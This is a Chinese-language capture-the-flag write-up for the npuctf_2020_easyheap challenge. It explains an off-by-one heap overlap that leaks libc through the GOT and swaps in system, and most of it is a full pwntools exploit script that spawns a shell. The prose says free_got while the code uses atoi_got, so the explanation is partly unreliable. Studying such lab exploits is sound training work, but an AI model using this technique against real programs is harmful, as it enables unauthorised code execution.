off by one 改got表
BUU——npuctf_2020_easyheap
off by one利用:每次申请chunk程序默认申请一个0x10大小的chunk,用于存自己申请的chunk的大小和地址,正是利用这个地址,将其修改为free_got泄露libc基地址,之后再将free地址修改为system函数,传入"/bin/sh\x00"即可system("/bin/sh")。
如何修改:申请两个chunk,利用off by one 将chunk1大小修改为0x41,free chunk1时,先free chunk1,再free chunk1的默认chunk。再次将chunk1申请回来,先用chunk1的地址处空间给new chunk1默认chunk,然后再分配给new chunk1地址。所以new chunk1的默认chunk占用了原来chunk1的位置(被写入free_got),此时show(new_chunk1),根据 new chunk 的 默认chunk中存的new chunk的地址,即上述写入的free_got,泄露libc基地址。
主要思路:free chunk和再次申请chunk时,默认chunk和chunk的顺序不同,可导致了内容交换、泄露。修改free_got指向system
from pwn import *
from LibcSearcher import *
from struct import *
local = 1
debug = 1
binary = "./npuctf_2020_easyheap"
elf = ELF(binary)
context.arch = elf.arch
context.os = elf.os
context.log_level = "debug" if debug else "info"
if local:
p = process(binary)
lib = "/lib/x86_64-linux-gnu/libc.so.6"
# lib = "/lib/i386-linux-gnu/libc.so.6"
else:
ip = "node5.buuoj.cn"
port = "26858"
p = remote(ip, port)
lib = ""
if lib != "":
libc = ELF(lib)
def launch_gdb():
gdb.attach(p)
pause()
def log_puts_addr():
print("puts_addr is ",hex(puts_addr))
def log_canary():
print("canary is ",hex(canary))
atoi_got = elf.got['atoi']
free_got = elf.got['free']
def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))
def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)
def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)
def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))
def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,"aaaa")
create(0x18,"aaaa")
launch_gdb()
payload = b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)
delete(1)
payload = b'a' * 0x20 + p64(0x38) + p64(atoi_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil(b"\x7f")[-6:]+b"\x00\x00")
print(hex(free_addr))
libc_base = free_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
edit(1,p64(system))
delete(0)
p.interactive()